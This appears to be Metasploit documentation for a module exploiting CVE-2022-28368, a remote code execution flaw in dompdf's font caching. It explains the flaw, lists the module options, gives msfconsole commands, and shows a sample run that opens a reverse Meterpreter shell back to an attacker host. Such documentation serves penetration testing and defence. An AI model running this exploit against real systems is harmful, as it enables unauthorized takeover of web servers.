## Vulnerable Application

This module exploits CVE-2022-28368, a Remote Code Execution vulnerability in
[dompdf](https://github.com/dompdf/dompdf) versions 0.8.5 through 1.2.0.

dompdf is a PHP-based HTML-to-PDF converter widely embedded in PHP web applications
and frameworks. The vulnerability exists because dompdf preserves the original file
extension when caching fonts downloaded via CSS `@font-face` rules. By pointing a
`@font-face` `src` to a `.php` file containing a valid TrueType font header with an
embedded PHP payload, dompdf saves the file in its font cache directory (`lib/fonts/`)
with the `.php` extension intact. Requesting that cached file from the web server then
executes the payload.

## Options

### DOMPDF_PATH

The web-accessible path to the dompdf installation root. Used to locate the font cache
(`<DOMPDF_PATH>/lib/fonts/`) for version detection and payload triggering.

### INJECT_PARAMETER

The name of the HTTP parameter that is passed to dompdf for rendering. The module will
inject a `<link rel=stylesheet href='...'>` tag via a GET request to this parameter, and
fall back to a POST request with the CSS URL as the parameter value if the GET request
does not return HTTP 200.

## Verification Steps

1. Start `msfconsole`.
2. `use exploit/multi/http/dompdf_rce_cve_2022_28368`
3. `set RHOSTS <target>`
4. `set DOMPDF_PATH <path to dompdf>`
5. `set INJECT_PARAMETER <vulnerable parameter name>`
6. `set LHOST <attacker IP>`
7. `check`
8. `run`

## Scenarios


```
msf exploit(multi/http/dompdf_rce_cve_2022_28368) > run verbose=true 
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 192.168.3.7:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. The vulnerable version of DOMPDF 1.2.0 detected
[*] Using URL: http://192.168.3.7:8080/
[*] Serving exploit CSS file to dompdf...
[*] Serving font TTF file to dompdf...
[*] Sending stage (45755 bytes) to 10.5.134.163
[+] Deleted blldpkxl_normal_92676fdc0675e9ff6a7db3c7b30c4a34.php
[*] Meterpreter session 1 opened (192.168.3.7:4444 -> 10.5.134.163:47098) at 2026-05-20 15:29:02 +0200

msf exploit(multi/http/dompdf_rce_cve_2022_28368) > sessions -1
[*] Starting interaction with 1...

meterpreter > sysinfo
Computer        : virt-ubuntu
OS              : Linux virt-ubuntu 6.8.0-1031-azure #36~22.04.1-Ubuntu SMP Tue Jul  1 03:54:01 UTC 2025 x86_64
Architecture    : x64
System Language : en_US.UTF-8
Meterpreter     : php/linux
```
